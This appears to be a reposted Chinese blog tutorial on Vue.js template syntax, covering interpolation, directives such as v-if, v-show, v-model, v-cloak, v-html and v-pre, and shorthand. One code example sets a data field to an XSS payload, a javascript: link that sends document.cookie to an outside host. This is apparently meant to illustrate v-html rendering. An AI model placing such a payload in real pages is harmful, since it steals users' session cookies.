大家好，又见面了，我是你们的朋友全栈君。
模板语法
(1) 插值
a.文本 {
{ }} 声明一条数据，然后用特殊的模板语法将其渲染出来（声明式渲染）
let vm = new Vue({ //vue实例的配置项
el:"#app",//指代挂载点
data:{ //vue所管理的数据
msg2:`<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a>`
}
})
b.表达式 {
{ 表达式 }}
(2) 指令
是带有 v- 前缀的特殊属性
-
v-bind 动态绑定属性
v-if 动态创建/删除 -
v-show 动态显示/隐藏
-
v-on:click 绑定事件
-
v-for 遍历
-
v-model 双向绑定表单 (修饰符)
-
v-cloak 防止表达式闪烁
注：
v-cloak
给模板内的元素添加v-cloak属性后，元素在vue没有加载完的时候就有这个属性，当vue加载完成后这个属性就消失了，所以我们可以给这个属性设置css样式为隐藏
<style>
[v-cloak]{
display:none
}
</style>
visibility:hidden 元素消失了 但后续的元素还是保持不变，不会破坏文档流结构 ===> 产生了重绘了 (repaint)
display:none 让元素消失了 后续的元素会占据消失元素的位置，破坏文档流结构 ===> 产生了回流了（reflow）
v-text/v-html
v-text会指定将模板内元素的textContent属性替换为指令值所代表的数据
v-html可以解析标签，更改元素的innerHTML，性能比v-text较差
v-pre
跳过元素和其子元素的编译过程，可以用来显示mustache
(3) 缩写
v-bind:src => :src
v-on:click => @click
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。
发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/161569.html原文链接：https://javaforall.net
